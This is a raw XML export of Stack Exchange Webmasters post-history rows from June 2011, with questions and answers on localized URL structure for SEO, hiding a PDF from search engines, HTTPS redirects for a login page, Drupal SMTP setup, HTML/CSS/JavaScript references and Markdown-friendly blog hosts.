  <row Id="34422" PostHistoryTypeId="2" PostId="14665" RevisionGUID="3e627804-2b50-4b0c-9572-9a42a3ebc1f9" CreationDate="2011-06-01T09:11:31.020" UserId="7946" Text="Currently I am creating a website which has a common topic for an article, but it's going to be different content for each country, and also, each of that content will be provided in several languages. And this mechanism exists in most of the parts in the website.&#xD;&#xA;&#xD;&#xA;For example, I have an article about tax. This article has to be different for each country, for example china. And tax content for china should be written in china AND english language (for non china-speaker). What is the best URL pattern to handle this?&#xD;&#xA;&#xD;&#xA;What I've been thinking is, using a sub folder (/country-code/language-code/) such as:&#xD;&#xA;&#xD;&#xA; - www.example.com/cn/cn/tax&#xD;&#xA; - www.example.com/cn/en/tax&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or using top level domain such as:&#xD;&#xA;&#xD;&#xA; - www.example.cn/cn/tax&#xD;&#xA; - www.example.cn/en/tax&#xD;&#xA;&#xD;&#xA;Or subdomain such as&#xD;&#xA;&#xD;&#xA; - cn.example.com/cn/tax&#xD;&#xA; - cn.example.com/en/tax&#xD;&#xA;&#xD;&#xA;I think I will not prefer the last option since I might need to use subdomain for other purpose. Which left only subfolder and TLDN. I've read some articles saying that TLDN is good for localized content (language-specific content), but in my case, my TLDN will also has english contents (for non local speaker) which is specific only to that particular country.&#xD;&#xA;&#xD;&#xA;What is the best pattern to pick and why?.&#xD;&#xA;" />
  <row Id="34423" PostHistoryTypeId="1" PostId="14665" RevisionGUID="3e627804-2b50-4b0c-9572-9a42a3ebc1f9" CreationDate="2011-06-01T09:11:31.020" UserId="7946" Text="SEO for Country &amp; Language Specific content." />
  <row Id="34424" PostHistoryTypeId="3" PostId="14665" RevisionGUID="3e627804-2b50-4b0c-9572-9a42a3ebc1f9" CreationDate="2011-06-01T09:11:31.020" UserId="7946" Text="&lt;seo&gt;&lt;content&gt;&lt;local-seo&gt;" />
  <row Id="34425" PostHistoryTypeId="25" PostId="14665" RevisionGUID="9637f49f-6600-44a9-9ab7-d2325ecd6d85" CreationDate="2011-06-01T09:13:32.160" Comment="http://twitter.com/#!/StackWebmasters/status/75852465500721152" />
  <row Id="34426" PostHistoryTypeId="5" PostId="14665" RevisionGUID="534876ca-c422-4052-b133-a1e95fb16796" CreationDate="2011-06-01T09:18:02.253" UserId="7946" Comment="added 95 characters in body" Text="Currently I am creating a website which has a common topic for an article, but it's going to be different content for each country, and also, each of that content will be provided in several languages. And this mechanism exists in most of the parts in the website.&#xD;&#xA;&#xD;&#xA;For example, I have an article about tax. This article has to be different for each country, for example china. And tax content for china should be written in china AND english language (for non china-speaker). What is the best URL pattern to handle this?&#xD;&#xA;&#xD;&#xA;What I've been thinking is, using a sub folder (/country-code/language-code/) such as:&#xD;&#xA;&#xD;&#xA; - www.example.com/cn/cn/tax&#xD;&#xA; - www.example.com/cn/en/tax&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or using top level domain such as:&#xD;&#xA;&#xD;&#xA; - www.example.cn/cn/tax&#xD;&#xA; - www.example.cn/en/tax&#xD;&#xA;&#xD;&#xA;Or subdomain such as&#xD;&#xA;&#xD;&#xA; - cn.example.com/cn/tax&#xD;&#xA; - cn.example.com/en/tax&#xD;&#xA;&#xD;&#xA;I think I will not prefer the last option since I might need to use subdomain for other purpose. Which left only subfolder and TLDN. I've read some articles saying that TLDN is good for localized content (language-specific content), but in my case, my TLDN will also has english contents (for non local speaker) which is specific only to that particular country (also the purpose of this is to let people from other country easily search it through google).&#xD;&#xA;&#xD;&#xA;What is the best pattern to pick and why?.&#xD;&#xA;" />
  <row Id="34427" PostHistoryTypeId="2" PostId="14666" RevisionGUID="9ea2ae86-dfd1-4789-83e7-115a1aa46ca0" CreationDate="2011-06-01T09:35:53.790" UserId="7198" Text="You could try Drupal's SMTP module with GoDaddy's outgoing mailserver. This forces Drupal to send email using GoDaddy's mailserver instead of PHP's `mail()` function, which is probably disabled on the new GoDaddy server, as is common with shared hosting packages.&#xD;&#xA;&#xD;&#xA; 1. Download the [SMTP module](http://drupal.org/project/smtp) for Drupal 6.&#xD;&#xA; 2. Copy the files included in the download into a directory named &quot;smtp&quot; in&#xD;&#xA;    your Drupal sites/all/modules/ directory.&#xD;&#xA; 3. Download the [PHPMailer package](http://sourceforge.net/projects/phpmailer/files/) and place it in a directory named &quot;phpmailer&quot; in your &lt;drupal-root&gt;/sites/all/modules/smtp directory.&#xD;&#xA; 4. Login as site administrator.&#xD;&#xA; 5. Enable the SMTP Authentication Support module under Administer -&gt; Site&#xD;&#xA;    building -&gt; Modules.&#xD;&#xA; 6. Fill in settings for your SMTP (outgoing mail) server on the Administer -&gt; Site configuration -&gt; SMTP&#xD;&#xA;    Authentication Support page. To send mail through GoDaddy's server, use 'smtpout.secureserver.net' for the address, turn encryption (SSL) off, authentication on, set the port to 80, and use your GoDaddy account email address and password (the same ones you use to log in to their [webmail service](https://login.secureserver.net/index.php)).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34429" PostHistoryTypeId="2" PostId="14668" RevisionGUID="e09c7860-b53f-4c61-8062-3bc981d6c6f3" CreationDate="2011-06-01T11:06:48.863" UserId="7588" Text="How about:&#xD;&#xA;&#xD;&#xA;    RewriteCond $1 ^(login) [NC]&#xD;&#xA;    RewriteRule ^(.*)$ https://%{SERVER_NAME}/$1&#xD;&#xA;    &#xD;&#xA;    RewriteCond $1 !^(login) [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://%{SERVER_NAME}/$1 [L]&#xD;&#xA;&#xD;&#xA;I hope(!) that works - put it in .htacess or, if using vhosts, the first part goes in the normal vhost and the second bit goes in the ssl vhost.&#xD;&#xA;&#xD;&#xA;No need to specify 80/443 to pattern match (LOGIN or login) in the URL and force to the SSL (or not if there is no match).&#xD;&#xA;" />
  <row Id="34430" PostHistoryTypeId="2" PostId="14669" RevisionGUID="dcd5d3dc-a73b-4a1a-a655-d91d5ea06502" CreationDate="2011-06-01T11:08:43.807" UserId="7949" Text="Really basic question here I'm sure - I'm not a webmaster however am thrown into it sometimes!!&#xD;&#xA;&#xD;&#xA;We have a particular file this is available for download on our site, however this file shows up in a google search. My manager wants to make this file hidden from google if possible. Can anybody point me in the right direction for this?&#xD;&#xA;&#xD;&#xA;Right now the file is sitting with the following URL:&#xD;&#xA;&#xD;&#xA;&gt; http://www.example.com/document.pdf&#xD;&#xA;&#xD;&#xA;The site is running on IIS7. &#xD;&#xA;&#xD;&#xA;Any help would be appreciated,&#xD;&#xA;Thanks." />
  <row Id="34431" PostHistoryTypeId="1" PostId="14669" RevisionGUID="dcd5d3dc-a73b-4a1a-a655-d91d5ea06502" CreationDate="2011-06-01T11:08:43.807" UserId="7949" Text="Hide a file showing up in google search" />
  <row Id="34432" PostHistoryTypeId="3" PostId="14669" RevisionGUID="dcd5d3dc-a73b-4a1a-a655-d91d5ea06502" CreationDate="2011-06-01T11:08:43.807" UserId="7949" Text="&lt;url&gt;&lt;google-search&gt;&lt;indexing&gt;&lt;iis7&gt;" />
  <row Id="34433" PostHistoryTypeId="2" PostId="14670" RevisionGUID="f92cd937-1845-473f-a73e-f63b3ad25fa9" CreationDate="2011-06-01T11:15:05.313" UserId="1643" Text="To hide it from Google (and other search engines who use it) you need to create a robots.txt file (if you don't have one already) and add a line to exclude that document. For more information see http://www.robotstxt.org/.&#xD;&#xA;&#xD;&#xA;Another way is to password protect it and make sure that the web page that points to the document says what the username and password is. See this question for how to do that:&#xD;&#xA;http://webmasters.stackexchange.com/questions/13580/is-there-a-simple-way-to-protect-my-webpage-by-password&#xD;&#xA;" />
  <row Id="34437" PostHistoryTypeId="25" PostId="14669" RevisionGUID="a6a37f81-36a6-44d0-9742-85011e4ed067" CreationDate="2011-06-01T12:13:32.337" Comment="http://twitter.com/#!/StackWebmasters/status/75897764843749378" />
  <row Id="34438" PostHistoryTypeId="5" PostId="14669" RevisionGUID="84fa1507-2277-4de7-8d4e-065b97c6cbd3" CreationDate="2011-06-01T12:55:57.313" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to protect PDF file from indexing?](http://webmasters.stackexchange.com/questions/14520/how-to-protect-pdf-file-from-indexing)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi guys,&#xD;&#xA;&#xD;&#xA;Really basic question here I'm sure - I'm not a webmaster however am thrown into it sometimes!!&#xD;&#xA;&#xD;&#xA;We have a particular file this is available for download on our site, however this file shows up in a google search. My manager wants to make this file hidden from google if possible. Can anybody point me in the right direction for this?&#xD;&#xA;&#xD;&#xA;Right now the file is sitting with the following URL:&#xD;&#xA;&#xD;&#xA;&gt; http://www.example.com/document.pdf&#xD;&#xA;&#xD;&#xA;The site is running on IIS7. &#xD;&#xA;&#xD;&#xA;Any help would be appreciated,&#xD;&#xA;Thanks." />
  <row Id="34439" PostHistoryTypeId="10" PostId="14669" RevisionGUID="7ff8b10a-9b1e-447c-8c61-abed95bcdad3" CreationDate="2011-06-01T12:55:56.440" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34444" PostHistoryTypeId="5" PostId="14662" RevisionGUID="58d92cb2-6c46-47a2-8006-9592f36cdb31" CreationDate="2011-06-01T13:20:35.087" UserId="1253" Comment="modified tags, minor text edits" Text="I'm trying to add a &quot;login page&quot; as soon as someone clicks on the Galerie, in order to keep the pictures only between the members of the school.&#xD;&#xA;&#xD;&#xA;I tried several options, even designed a page named &quot;login.htm&quot; but I can't get it to work the way I want! I'd like a single username and password, so no need to setup a database.&#xD;&#xA;&#xD;&#xA;Otherwise, I was thinking about creating a new &quot;sub-domain&quot; and a new website attached to it, and just link it from the Galerie page.&#xD;&#xA;&#xD;&#xA;Does anyone have a good idea how I can do it? It also has to be easy.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34445" PostHistoryTypeId="6" PostId="14662" RevisionGUID="58d92cb2-6c46-47a2-8006-9592f36cdb31" CreationDate="2011-06-01T13:20:35.087" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-development&gt;&lt;login&gt;" />
  <row Id="34446" PostHistoryTypeId="2" PostId="14672" RevisionGUID="4a8ae3e5-2431-4e8b-aee3-892825e76705" CreationDate="2011-06-01T13:27:54.380" UserId="3328" Text="Several sites tend to favor *country-code dash language-code* `/en-us/`&#xD;&#xA;&#xD;&#xA;**Sites using `/en-us/` convention:**&#xD;&#xA;&#xD;&#xA; - msdn.**microsoft**.com/en-us/&#xD;&#xA; - addons.**mozilla**.org/en-us/&#xD;&#xA; - www.**flickr**.com/help/forum/en-us/&#xD;&#xA; - products.**amd**.com/en-us/&#xD;&#xA; - docs.**redhat**.com/docs/en-US/&#xD;&#xA; - www.**logitech**.com/en-us/home&#xD;&#xA;&#xD;&#xA;Also some using your example 1 convention&#xD;&#xA;&#xD;&#xA;**Sites using `/en/us/` convention:**&#xD;&#xA;&#xD;&#xA; - www.**cisco**.com/en/US/&#xD;&#xA; - www.**bk**.com/en/us/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Search google for [inurl:/en-us/](http://www.google.com/search?q=inurl%3A%2Fen-us%2F) for additional results&#xD;&#xA;" />
  <row Id="34447" PostHistoryTypeId="2" PostId="14673" RevisionGUID="34b468d5-6bf5-4fc8-88e4-8384b3b4cbad" CreationDate="2011-06-01T14:08:04.737" UserId="7950" Text="The above answer talks in detail about third party cookies and is right that the ICO has yet to give guidance on them. This is a moot point though as Google Analytics, contrary to the original post, uses first party cookies." />
  <row Id="34451" PostHistoryTypeId="5" PostId="14672" RevisionGUID="24036e70-af18-438c-b352-63782072f551" CreationDate="2011-06-01T14:40:14.203" UserId="3328" Comment="deleted 12 characters in body" Text="Several sites tend to favor *language-codes* like `/en-us/`&#xD;&#xA;&#xD;&#xA;**Sites using `/en-us/` convention:**&#xD;&#xA;&#xD;&#xA; - msdn.**microsoft**.com/en-us/&#xD;&#xA; - addons.**mozilla**.org/en-us/&#xD;&#xA; - www.**flickr**.com/help/forum/en-us/&#xD;&#xA; - products.**amd**.com/en-us/&#xD;&#xA; - docs.**redhat**.com/docs/en-US/&#xD;&#xA; - www.**logitech**.com/en-us/home&#xD;&#xA;&#xD;&#xA;Also some using your example 1 convention&#xD;&#xA;&#xD;&#xA;**Sites using `/en/us/` convention:**&#xD;&#xA;&#xD;&#xA; - www.**cisco**.com/en/US/&#xD;&#xA; - www.**bk**.com/en/us/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Search google for [inurl:/en-us/](http://www.google.com/search?q=inurl%3A%2Fen-us%2F) for additional results&#xD;&#xA;" />
  <row Id="34452" PostHistoryTypeId="5" PostId="14668" RevisionGUID="06ecb3a3-c043-4c47-a40e-28efc0692c95" CreationDate="2011-06-01T15:04:29.487" UserId="7588" Comment="added 221 characters in body" Text="How about:&#xD;&#xA;&#xD;&#xA;    RewriteCond $1 ^(login) [NC]&#xD;&#xA;    RewriteRule ^(.*)$ https://%{SERVER_NAME}/$1&#xD;&#xA;    &#xD;&#xA;    RewriteCond $1 !^(login) [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://%{SERVER_NAME}/$1 [L]&#xD;&#xA;&#xD;&#xA;I hope(!) that works - put it in .htacess or, if using vhosts, the first part goes in the normal vhost and the second bit goes in the ssl vhost.&#xD;&#xA;&#xD;&#xA;No need to specify 80/443 to pattern match (LOGIN or login) in the URL and force to the SSL (or not if there is no match).&#xD;&#xA;&#xD;&#xA;*Okay, did not work*&#xD;&#xA;&#xD;&#xA;Added bit:&#xD;&#xA;&#xD;&#xA;     RedirectMatch (?i)\/login https://www.example.com/login&#xD;&#xA;&#xD;&#xA;In practice (depends on CMS) all your site links will be http anyway so you should only need the one RedirectMatch.&#xD;&#xA;" />
  <row Id="34459" PostHistoryTypeId="2" PostId="14676" RevisionGUID="45a7aee2-7049-40b3-a736-eb7e1ced1861" CreationDate="2011-06-01T16:14:32.460" UserId="7198" Text="PHP users have the [PHP.net docs](http://www.php.net/docs.php)  &#xD;&#xA;Ruby users have [Ruby-Doc.org](http://ruby-doc.org/)  &#xD;&#xA;Python users have [docs.python.org](http://docs.python.org/)  &#xD;&#xA;jQuery users have [docs.jquery.com](http://docs.jquery.com/)&#xD;&#xA;&#xD;&#xA;All are considered go-to references when working within those environments.&#xD;&#xA;&#xD;&#xA;But where's 'The Manual' for web designers and developers working with HTML, CSS, and (vanilla) JavaScript? What online, free, up-to-date, reliable, searchable, user-editable documentation should webmasters be using and referencing in their day-to-day work? " />
  <row Id="34460" PostHistoryTypeId="1" PostId="14676" RevisionGUID="45a7aee2-7049-40b3-a736-eb7e1ced1861" CreationDate="2011-06-01T16:14:32.460" UserId="7198" Text="What documentation exists for HTML, CSS, and JavaScript?" />
  <row Id="34461" PostHistoryTypeId="3" PostId="14676" RevisionGUID="45a7aee2-7049-40b3-a736-eb7e1ced1861" CreationDate="2011-06-01T16:14:32.460" UserId="7198" Text="&lt;html&gt;&lt;css&gt;&lt;javascript&gt;&lt;learning&gt;" />
  <row Id="34462" PostHistoryTypeId="2" PostId="14677" RevisionGUID="a5aa043f-82a5-418f-b39f-ca91423c3ada" CreationDate="2011-06-01T16:17:03.167" UserId="1643" Text="You can specify a geographic target in Google Webmaster tools http://www.google.com/support/webmasters/bin/answer.py?answer=62399 &#xD;&#xA;and you can set up a site for a subfolder such as `example.com/cn`&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=34592.&#xD;&#xA;&#xD;&#xA;You can also use the meta tag `content-language` for each language specific pages so it's clear which language they are using. So your first option will work and may be easier to manage than having multiple domains (or subdomains)." />
  <row Id="34463" PostHistoryTypeId="2" PostId="14678" RevisionGUID="60854eef-c3f8-43e7-9a56-3748a64f9095" CreationDate="2011-06-01T16:20:54.080" UserId="1253" Text="The W3C handles the HTML and CSS specifications&#xD;&#xA;&#xD;&#xA;[HTML 4 specification from the W3C][1]   &#xD;&#xA;[XHTML specification from the W3C][2]   &#xD;&#xA;[CSS 2.1 specifications from the W3C][3]    &#xD;&#xA;[HTML 5 specifications from the W3C (Working Draft)][4]    &#xD;&#xA;[CSS 3 specifications (Working Draft)][5]&#xD;&#xA;&#xD;&#xA;The official spec for JavaScript is the [EMCAscrip][6]t standard &#xD;&#xA;&#xD;&#xA;[EMCA specifications][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/&#xD;&#xA;  [2]: http://www.w3.org/TR/xhtml1/&#xD;&#xA;  [3]: http://www.w3.org/TR/CSS21/&#xD;&#xA;  [4]: http://dev.w3.org/html5/spec/Overview.html&#xD;&#xA;  [5]: http://www.w3.org/TR/CSS/#css3&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/ECMAScript&#xD;&#xA;  [7]: http://www.ecma-international.org/publications/standards/Ecma-262.htm" />
  <row Id="34464" PostHistoryTypeId="2" PostId="14679" RevisionGUID="f871e220-84e5-4dd4-b381-bcf9e686fe16" CreationDate="2011-06-01T16:22:37.333" UserId="1643" Text="The [W3C specs][1] are the references for HTML and CSS. For Javascript it's the [ECMA specification][2]. They meet all your requirements apart from user-editable. Is that good enough?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/standards/webdesign/htmlcss&#xD;&#xA;  [2]: http://www.ecma-international.org/publications/standards/Ecma-262.htm" />
  <row Id="34465" PostHistoryTypeId="5" PostId="14676" RevisionGUID="0099f3de-14f4-4ca6-bc62-e1342516b2a2" CreationDate="2011-06-01T16:49:39.633" UserId="7198" Comment="clarified question" Text="PHP users have the [PHP.net docs](http://www.php.net/docs.php)  &#xD;&#xA;Ruby users have [Ruby-Doc.org](http://ruby-doc.org/)  &#xD;&#xA;Python users have [docs.python.org](http://docs.python.org/)  &#xD;&#xA;jQuery users have [docs.jquery.com](http://docs.jquery.com/)&#xD;&#xA;&#xD;&#xA;All are considered go-to references when working within those environments.&#xD;&#xA;&#xD;&#xA;But where's 'The Manual' for web designers and developers working with HTML, CSS, and (vanilla) JavaScript? What online, free, up-to-date, reliable, searchable, user-editable documentation should webmasters be using and referencing in their day-to-day work? &#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;**Update:** I should have said that I'm aware of the W3C's Specifications and of the ECMAScript spec, but feel that they are better suited to browser vendors than they are to webmasters. From the HTML5 [specification intro](http://dev.w3.org/html5/spec-author-view/spec.html#audience):&#xD;&#xA;&#xD;&#xA;&gt; &quot;...in places it sacrifices clarity for precision, and brevity for completeness...&quot;&#xD;&#xA;&#xD;&#xA;So, to rephrase my original question: **what clear, quick online references are available for HTML, CSS, and JavaScript?** &#xD;&#xA;&#xD;&#xA;" />
  <row Id="34466" PostHistoryTypeId="2" PostId="14680" RevisionGUID="36a59819-26f2-4c7f-b22c-bf4d88f28095" CreationDate="2011-06-01T16:59:21.010" UserId="5183" Text="I lastly thought about starting a personal blog. Since I'm not really sure on how active I'll be, I don't want to invest too much time or money in starting this.&#xD;&#xA;&#xD;&#xA;Thus, I would like to use some free blog hoster for the start, but allow later upgrading to an own domain, and maybe even host this on an own server.&#xD;&#xA;&#xD;&#xA;Also, since in the last months I really got used to Stackoverflow's (or Stack Exchange's) markdown syntax, thus I would like to use this for writing my posts (and maybe for comments, too).&#xD;&#xA;&#xD;&#xA;**Is there some blog hoster which allows these?**&#xD;&#xA;&#xD;&#xA;* having a non-cost blog&#xD;&#xA;* using markdown for posts (and comments)&#xD;&#xA;* redirecting all the URIs to corresponding URIs on another domain (not only to the main page), should I ever think about doing this myself&#xD;&#xA;* (optionally, may cost a bit) having an own domain for my blog&#xD;&#xA;* exporting all my blogged content easily&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34467" PostHistoryTypeId="1" PostId="14680" RevisionGUID="36a59819-26f2-4c7f-b22c-bf4d88f28095" CreationDate="2011-06-01T16:59:21.010" UserId="5183" Text="free blog hoster with markdown support?" />
  <row Id="34468" PostHistoryTypeId="3" PostId="14680" RevisionGUID="36a59819-26f2-4c7f-b22c-bf4d88f28095" CreationDate="2011-06-01T16:59:21.010" UserId="5183" Text="&lt;web-hosting&gt;&lt;blog&gt;" />
  <row Id="34469" PostHistoryTypeId="5" PostId="14678" RevisionGUID="8ac82975-acef-47e4-ae41-06843c69e844" CreationDate="2011-06-01T17:00:53.327" UserId="1253" Comment="added 303 characters in body; added 141 characters in body" Text="The W3C handles the HTML and CSS specifications&#xD;&#xA;&#xD;&#xA;[HTML 4 specification from the W3C][1]   &#xD;&#xA;[XHTML specification from the W3C][2]   &#xD;&#xA;[CSS 2.1 specifications from the W3C][3]    &#xD;&#xA;[HTML 5 specifications from the W3C (Working Draft)][4]    &#xD;&#xA;[CSS 3 specifications (Working Draft)][5]&#xD;&#xA;&#xD;&#xA;The official spec for JavaScript is the [EMCAscript][6] standard &#xD;&#xA;&#xD;&#xA;[EMCA specifications][7]&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;I hope this is what you were looking for. Ipurposely didn't use the w3schools references because they are [known for having bad information in them][8].&#xD;&#xA;&#xD;&#xA;[Sitepoint CSS reference][9]  &#xD;&#xA;[Sitepoint HTML reference][10]  &#xD;&#xA;[Sitepoint JavaScript reference][11] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/&#xD;&#xA;  [2]: http://www.w3.org/TR/xhtml1/&#xD;&#xA;  [3]: http://www.w3.org/TR/CSS21/&#xD;&#xA;  [4]: http://dev.w3.org/html5/spec/Overview.html&#xD;&#xA;  [5]: http://www.w3.org/TR/CSS/#css3&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/ECMAScript&#xD;&#xA;  [7]: http://www.ecma-international.org/publications/standards/Ecma-262.htm&#xD;&#xA;  [8]: http://w3fools.com/&#xD;&#xA;  [9]: http://reference.sitepoint.com/css&#xD;&#xA;  [10]: http://reference.sitepoint.com/html&#xD;&#xA;  [11]: http://reference.sitepoint.com/javascript" />
  <row Id="34470" PostHistoryTypeId="5" PostId="14680" RevisionGUID="4bd7a040-af4b-48f0-906e-2b4224b83f07" CreationDate="2011-06-01T17:39:35.747" UserId="5183" Comment="results for Posterous and Wordpress" Text="I lastly thought about starting a personal blog. Since I'm not really sure on how active I'll be, I don't want to invest too much time or money in starting this.&#xD;&#xA;&#xD;&#xA;Thus, I would like to use some free blog hoster for the start, but allow later upgrading to an own domain, and maybe even host this on an own server.&#xD;&#xA;&#xD;&#xA;Also, since in the last months I really got used to Stackoverflow's (or Stack Exchange's) markdown syntax, thus I would like to use this for writing my posts (and maybe for comments, too).&#xD;&#xA;&#xD;&#xA;**Is there some blog hoster which allows these?**&#xD;&#xA;&#xD;&#xA;1. having a non-cost blog&#xD;&#xA;2. using markdown for posts (and comments)&#xD;&#xA;3. redirecting all the URIs to corresponding URIs on another domain (not only to the main page), should I ever think about doing this myself&#xD;&#xA;4. (optionally, may cost a bit) having an own domain for my blog&#xD;&#xA;5. exporting all my blogged content easily&#xD;&#xA;&#xD;&#xA;-------&#xD;&#xA;&#xD;&#xA;I have looked at:&#xD;&#xA;&#xD;&#xA;* [Posterous][1]: It seems to support 1., 2., 4., but I found no information about migrating away from it.&#xD;&#xA;* [WordPress][2]: It supports 1, it has a page about [exporting the content][3] (5.). It seems not to support Markdown, and [redirecting to a new page comes only as a paid upgrade][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://posterous.com/&#xD;&#xA;  [2]: http://wordpress.com/&#xD;&#xA;  [3]: http://en.support.wordpress.com/export/&#xD;&#xA;  [4]: http://en.support.wordpress.com/site-redirect/" />
  <row Id="34471" PostHistoryTypeId="2" PostId="14681" RevisionGUID="c133ef4f-0365-4486-9a33-008dc49f0904" CreationDate="2011-06-01T17:55:28.363" UserId="7198" Text="[Tumblr](http://tumblr.com) is a free blogging service that supports almost all of the features you mention. (Screenshots below from my own tumblr login area; I use it for two of my blogs.)&#xD;&#xA;&#xD;&#xA;###To use Markdown&#xD;&#xA;Go to Account &gt; Preferences, and select the following:  &#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###To redirect pages&#xD;&#xA;Click the 'Customize' link from your Dashboard, then the 'Pages' header, and the 'add page' link. Choose 'redirect' in the 'Page Type':  &#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Redirecting lots of pages like this can be a pain if you're using a tumblr subdomain (the default), so it's best to register your own domain and use that with tumblr from the very beginning, as this will give you more options with page redirections later on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###To use a custom domain name&#xD;&#xA;Register your domain with a registrar such as [dynadot,](http://www.dynadot.com/) then follow tumblr's [domain setup instructions](http://www.tumblr.com/docs/custom_domains), then add your domain under Customize &gt; Info:  &#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;###Comments (without markdown)&#xD;&#xA;Comments aren't enabled in tumblr by default, but you can use a third-party service such [Disqus](http://disqus.com/admin/tumblr/) to add them. Note that Disqus doesn't currently use Markdown, although there's an active [feature request](http://getsatisfaction.com/disqus/topics/add_ability_to_use_markdown_in_comments) for it.&#xD;&#xA;&#xD;&#xA;###Export content&#xD;&#xA;With the web-based [tumblr2wp](http://tumblr2wp.com/) tool or the [tumblr backup app](http://staff.tumblr.com/post/286303145/tumblr-backup-mac-beta) (Mac only).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/HhUL4.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/sZwIi.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/f8Hdn.png" />
  <row Id="34472" PostHistoryTypeId="5" PostId="14680" RevisionGUID="a80dfea4-7248-4aac-8f1d-e7028d1312ba" CreationDate="2011-06-01T17:58:40.573" UserId="5183" Comment="+ github pages" Text="I lastly thought about starting a personal blog. Since I'm not really sure on how active I'll be, I don't want to invest too much time or money in starting this.&#xD;&#xA;&#xD;&#xA;Thus, I would like to use some free blog hoster for the start, but allow later upgrading to an own domain, and maybe even host this on an own server.&#xD;&#xA;&#xD;&#xA;Also, since in the last months I really got used to Stackoverflow's (or Stack Exchange's) markdown syntax, thus I would like to use this for writing my posts (and maybe for comments, too).&#xD;&#xA;&#xD;&#xA;**Is there some blog hoster which allows these?**&#xD;&#xA;&#xD;&#xA;1. having a non-cost blog&#xD;&#xA;2. using markdown for posts (and comments)&#xD;&#xA;3. redirecting all the URIs to corresponding URIs on another domain (not only to the main page), should I ever think about doing this myself&#xD;&#xA;4. (optionally, may cost a bit) having an own domain for my blog&#xD;&#xA;5. exporting all my blogged content easily&#xD;&#xA;&#xD;&#xA;-------&#xD;&#xA;&#xD;&#xA;I have looked at:&#xD;&#xA;&#xD;&#xA;* [Posterous][1]: It seems to support 1., 2., 4., but I found no information about migrating away from it.&#xD;&#xA;&#xD;&#xA;* [WordPress][2]: It supports 1, it has a page about [exporting the content][3] (5.). It seems not to support Markdown, and redirecting to a new page (3.) [comes only as a paid upgrade][4].&#xD;&#xA;&#xD;&#xA;* [Github pages][5] with [Jekyll][6]: This supports 1., 2., 4. (if I register my domain elsewhere), 5. I'm not sure about redirecting to another domain if I should feel about migrating away.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://posterous.com/&#xD;&#xA;  [2]: http://wordpress.com/&#xD;&#xA;  [3]: http://en.support.wordpress.com/export/&#xD;&#xA;  [4]: http://en.support.wordpress.com/site-redirect/&#xD;&#xA;  [5]: http://pages.github.com/&#xD;&#xA;  [6]: http://github.com/mojombo/jekyll/" />
  <row Id="34473" PostHistoryTypeId="25" PostId="14676" RevisionGUID="cc0ff1d1-3902-4c8d-b55b-10a2b33d5bfc" CreationDate="2011-06-01T18:13:33.027" Comment="http://twitter.com/#!/StackWebmasters/status/75988365425647616" />
  <row Id="34474" PostHistoryTypeId="2" PostId="14682" RevisionGUID="03dd802c-c442-4188-a2eb-736e345b572d" CreationDate="2011-06-01T18:32:49.877" UserId="7958" Text="I find the [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs) docs really good, especially the [Javascript](https://developer.mozilla.org/en/JavaScript) ones." />
  <row Id="34475" PostHistoryTypeId="5" PostId="14678" RevisionGUID="a3435cbe-3efb-483c-bac4-95aca57eee40" CreationDate="2011-06-01T19:05:06.287" UserId="1253" Comment="added 128 characters in body" Text="The W3C handles the HTML and CSS specifications&#xD;&#xA;&#xD;&#xA;[HTML 4 specification from the W3C][1]   &#xD;&#xA;[XHTML specification from the W3C][2]   &#xD;&#xA;[CSS 2.1 specifications from the W3C][3]    &#xD;&#xA;[HTML 5 specifications from the W3C (Working Draft)][4]    &#xD;&#xA;[CSS 3 specifications (Working Draft)][5]&#xD;&#xA;&#xD;&#xA;The official spec for JavaScript is the [EMCAscript][6] standard &#xD;&#xA;&#xD;&#xA;[EMCA specifications][7]&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;I hope this is what you were looking for. Ipurposely didn't use the w3schools references because they are [known for having bad information in them][8].&#xD;&#xA;&#xD;&#xA;[Sitepoint CSS reference][9]  &#xD;&#xA;[Sitepoint HTML reference][10]  &#xD;&#xA;[Sitepoint JavaScript reference][11] &#xD;&#xA;&#xD;&#xA;**UPDATE 2**&#xD;&#xA;&#xD;&#xA;From Alex's comment: [Mozilla Developer Network (MDN)][12]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/&#xD;&#xA;  [2]: http://www.w3.org/TR/xhtml1/&#xD;&#xA;  [3]: http://www.w3.org/TR/CSS21/&#xD;&#xA;  